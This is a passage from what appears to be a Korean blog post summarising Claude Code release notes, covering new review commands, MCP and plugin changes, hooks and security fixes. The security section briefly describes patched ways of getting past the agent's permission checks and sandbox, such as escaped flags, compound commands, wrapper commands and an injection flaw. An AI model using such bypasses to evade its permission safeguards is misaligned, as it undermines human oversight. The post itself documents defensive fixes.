&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code가 &quot;내 터미널 안에서만 도는 도구&quot;에서 벗어나고 있다. 로컬 CLI 세션, 웹/모바일 Remote Control, PR, cloud environment가 하나의 작업 흐름으로 묶이는 방향이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. /ultrareview, /team-onboarding, /powerup &amp;mdash; 학습과 리뷰 도구&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2136&quot; data-origin-height=&quot;1166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dT0M2X/dJMcag6tgYj/OQ2kW46HhJsBWV4IkffVA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dT0M2X/dJMcag6tgYj/OQ2kW46HhJsBWV4IkffVA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dT0M2X/dJMcag6tgYj/OQ2kW46HhJsBWV4IkffVA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdT0M2X%2FdJMcag6tgYj%2FOQ2kW46HhJsBWV4IkffVA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2136&quot; height=&quot;1166&quot; data-origin-width=&quot;2136&quot; data-origin-height=&quot;1166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 구간에서는 &quot;Claude Code 자체를 더 잘 쓰게 만드는 기능&quot;도 늘었다. 단순 명령 추가라기보다, 팀 학습과 리뷰 자동화 쪽으로 방향이 보인다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;명령어&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/powerup&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.90&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 기능을 animated demo와 함께 학습하는 interactive lesson&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/team-onboarding&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.101&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 Claude Code 사용 패턴을 바탕으로 팀원 온보딩 가이드 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/less-permission-prompts&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.111&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;트랜스크립트에서 반복되는 read-only Bash/MCP 호출을 분석해 allowlist 후보 제안&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;/ultrareview&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.111&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;cloud 기반 병렬 multi-agent 분석으로 현재 브랜치 또는 특정 PR을 종합 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;claude ultrareview&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.120&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CI/script에서 실행 가능한 non-interactive ultrareview CLI. &lt;code&gt;--json&lt;/code&gt; 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 브랜치 리뷰
/ultrareview

# 특정 PR 리뷰
/ultrareview 123

# CI나 스크립트에서 실행
claude ultrareview 123 --json&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. MCP &amp;amp; 플러그인 &amp;mdash; 더 늦게 로드하고, 더 안전하게 연결한다&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2110&quot; data-origin-height=&quot;1164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vg1Jz/dJMcagMbYSN/AkCNLTrpqIyJOVlgykPpe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vg1Jz/dJMcagMbYSN/AkCNLTrpqIyJOVlgykPpe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vg1Jz/dJMcagMbYSN/AkCNLTrpqIyJOVlgykPpe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvg1Jz%2FdJMcagMbYSN%2FAkCNLTrpqIyJOVlgykPpe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2110&quot; height=&quot;1164&quot; data-origin-width=&quot;2110&quot; data-origin-height=&quot;1164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP와 플러그인은 v2.1.89 이후에도 계속 확장됐다. 방향은 두 가지다. 첫째, 느린 서버 때문에 세션 시작이 막히지 않게 한다. 둘째, 플러그인 의존성과 보안 정책을 더 예측 가능하게 만든다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MCP / Plugin 변경&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.89&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;MCP_CONNECTION_NONBLOCKING=true&lt;/code&gt;로 &lt;code&gt;-p&lt;/code&gt; 모드에서 MCP 연결 대기를 건너뜀. &lt;code&gt;--mcp-config&lt;/code&gt; 서버 연결도 5초로 bounded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.91&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP result persistence override &lt;code&gt;_meta[&quot;anthropic/maxResultSizeChars&quot;]&lt;/code&gt; 지원. 플러그인 &lt;code&gt;bin/&lt;/code&gt; 실행 파일 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.94&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;plugin skill frontmatter name을 invocation name으로 사용. plugin hook/frontmatter 관련 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.105&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;플러그인 background monitor 지원. marketplace plugin의 &lt;code&gt;package.json&lt;/code&gt;/lockfile 의존성 자동 설치 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.116&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;stdio MCP가 여러 개일 때 startup 개선. &lt;code&gt;resources/templates/list&lt;/code&gt;를 최초 &lt;code&gt;@&lt;/code&gt; mention까지 지연&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.117&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;plugin install 시 누락된 dependency 자동 설치. managed-settings의 blocked/strict marketplaces를 install/update/autoupdate에 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.121&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;MCP server config에 &lt;code&gt;alwaysLoad&lt;/code&gt; 옵션 추가. &lt;code&gt;claude plugin prune&lt;/code&gt;으로 orphan dependency 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.122&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/mcp&lt;/code&gt;에서 수동 서버와 claude.ai connector 중복 상황을 더 명확히 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 서버가 많아 시작이 느린 팀은 &lt;code&gt;alwaysLoad&lt;/code&gt;를 남발하지 않는 것이 좋다. 자주 쓰는 핵심 서버만 항상 로드하고, 나머지는 tool-search나 &lt;code&gt;@&lt;/code&gt; mention 시점에 늦게 연결되도록 두는 편이 대형 환경에서 유리하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 훅 시스템 &amp;mdash; PreCompact, PermissionDenied, PostToolUse 확장&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2188&quot; data-origin-height=&quot;1194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cv4Em8/dJMcagk49Ro/gcqY4cctc5Egzty9mJlvU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cv4Em8/dJMcagk49Ro/gcqY4cctc5Egzty9mJlvU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cv4Em8/dJMcagk49Ro/gcqY4cctc5Egzty9mJlvU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcv4Em8%2FdJMcagk49Ro%2FgcqY4cctc5Egzty9mJlvU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2188&quot; height=&quot;1194&quot; data-origin-width=&quot;2188&quot; data-origin-height=&quot;1194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;훅 시스템은 v2.1.85에서 조건부 실행을 얻었고, 이후에는 자동화 파이프라인에 필요한 이벤트와 출력 제어가 계속 추가됐다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;훅 / 기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;PermissionDenied&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.89&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Auto Mode classifier가 명령을 거부한 뒤 실행. &lt;code&gt;{retry: true}&lt;/code&gt;로 모델에게 재시도 가능 신호 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;PreCompact&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.105&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;compaction 직전 실행. exit code 2 또는 &lt;code&gt;{&quot;decision&quot;:&quot;block&quot;}&lt;/code&gt;으로 compaction 차단 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Agent frontmatter hooks&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.116&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;--agent&lt;/code&gt;로 main-thread agent 실행 시 frontmatter &lt;code&gt;hooks:&lt;/code&gt;도 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;duration_ms&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.119&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;PostToolUse&lt;/code&gt;, &lt;code&gt;PostToolUseFailure&lt;/code&gt; hook input에 도구 실행 시간 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;updatedToolOutput&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.121&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;PostToolUse&lt;/code&gt; hook이 모든 도구 출력 교체 가능. 이전에는 MCP 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;// 개념 예시: compaction 직전 검사
{
  &quot;hooks&quot;: {
    &quot;PreCompact&quot;: [{
      &quot;type&quot;: &quot;command&quot;,
      &quot;command&quot;: &quot;test -f .claude/no-compact &amp;amp;&amp;amp; exit 2 || exit 0&quot;
    }]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;훅이 강력해질수록 세션 동작을 가로막는 원인도 훅이 될 수 있다. v2.1.105 이후에는 hook stderr 첫 줄을 transcript에 더 잘 보여주는 개선도 들어갔지만, 팀 환경에서는 hook 실패 메시지를 사람이 읽을 수 있게 작성하는 것이 중요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 보안 수정 &amp;mdash; Bash 권한, 샌드박스, managed settings&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccXc7F/dJMcadaLU9W/9YSaIHe2YSb2WzVq3iiz7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccXc7F/dJMcadaLU9W/9YSaIHe2YSb2WzVq3iiz7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccXc7F/dJMcadaLU9W/9YSaIHe2YSb2WzVq3iiz7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccXc7F%2FdJMcadaLU9W%2F9YSaIHe2YSb2WzVq3iiz7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2144&quot; height=&quot;1158&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 구간에서 가장 중요하게 봐야 할 부분은 보안이다. 특히 Bash permission rule, sandbox, managed settings 쪽 수정이 많다. 자동화 도구가 강력해질수록 &quot;어디까지 자동으로 허용할 것인가&quot;가 핵심 운영 이슈가 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주요 보안 수정 하이라이트&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.98&lt;/b&gt;: backslash-escaped flag가 read-only로 auto-allow되어 임의 코드 실행으로 이어질 수 있던 Bash permission bypass 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.98&lt;/b&gt;: compound Bash command가 safety check와 explicit ask rule을 우회하던 문제 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.101&lt;/b&gt;: LSP binary detection의 POSIX &lt;code&gt;which&lt;/code&gt; fallback에서 command injection 취약점 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.113&lt;/b&gt;: macOS &lt;code&gt;/private/{etc,var,tmp,home}&lt;/code&gt; 경로를 위험 삭제 대상으로 취급&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.113&lt;/b&gt;: Bash deny rule이 &lt;code&gt;env&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt;, &lt;code&gt;watch&lt;/code&gt;, &lt;code&gt;ionice&lt;/code&gt;, &lt;code&gt;setsid&lt;/code&gt; 같은 wrapper 명령도 매칭&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.116&lt;/b&gt;: sandbox auto-allow가 &lt;code&gt;rm&lt;/code&gt;/&lt;code&gt;rmdir&lt;/code&gt;의 위험 경로 safety check를 우회하지 못하게 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.119&lt;/b&gt;: &lt;code&gt;blockedMarketplaces&lt;/code&gt;가 &lt;code&gt;hostPattern&lt;/code&gt;, &lt;code&gt;pathPattern&lt;/code&gt;을 제대로 강제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;v2.1.126&lt;/b&gt;: &lt;code&gt;allowManagedDomainsOnly&lt;/code&gt; / &lt;code&gt;allowManagedReadPathsOnly&lt;/code&gt;가 특정 managed-settings 우선순위 조합에서 무시되던 문제 수정&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;영역&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;무엇이 바뀌었나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Bash permission&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;read-only처럼 보이지만 실제로는 위험한 flag, redirect, compound command, wrapper command를 더 엄격하게 검사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Sandbox&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;네트워크 domain deny, 위험 삭제 경로, sandbox auto-allow 예외를 더 명확히 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Managed settings&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;조직 정책이 플러그인 설치/업데이트/마켓플레이스 접근/읽기 경로 제한에 더 강하게 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Skip permissions&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.126에서 일부 보호 경로에 대한 prompt bypass 범위가 넓어졌지만, catastrophic removal command에는 안전망 prompt 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 성능 &amp;amp; 안정성 &amp;mdash; /resume, 프롬프트 캐시, 긴 세션&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2138&quot; data-origin-height=&quot;1166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chfEP5/dJMcaiDcrr0/OSNFHXLqKC1GTTTUcjWJck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chfEP5/dJMcaiDcrr0/OSNFHXLqKC1GTTTUcjWJck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chfEP5/dJMcaiDcrr0/OSNFHXLqKC1GTTTUcjWJck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchfEP5%2FdJMcaiDcrr0%2FOSNFHXLqKC1GTTTUcjWJck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2138&quot; height=&quot;1166&quot; data-origin-width=&quot;2138&quot; data-origin-height=&quot;1166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.1.59~87 구간에서도 긴 세션 안정화가 중요했다. 이번 구간에서도 같은 방향이 계속된다. 특히 &lt;code&gt;/resume&lt;/code&gt;, prompt cache, transcript, MCP startup, long session memory leak가 반복적으로 다듬어졌다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;성능 / 안정성 개선&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
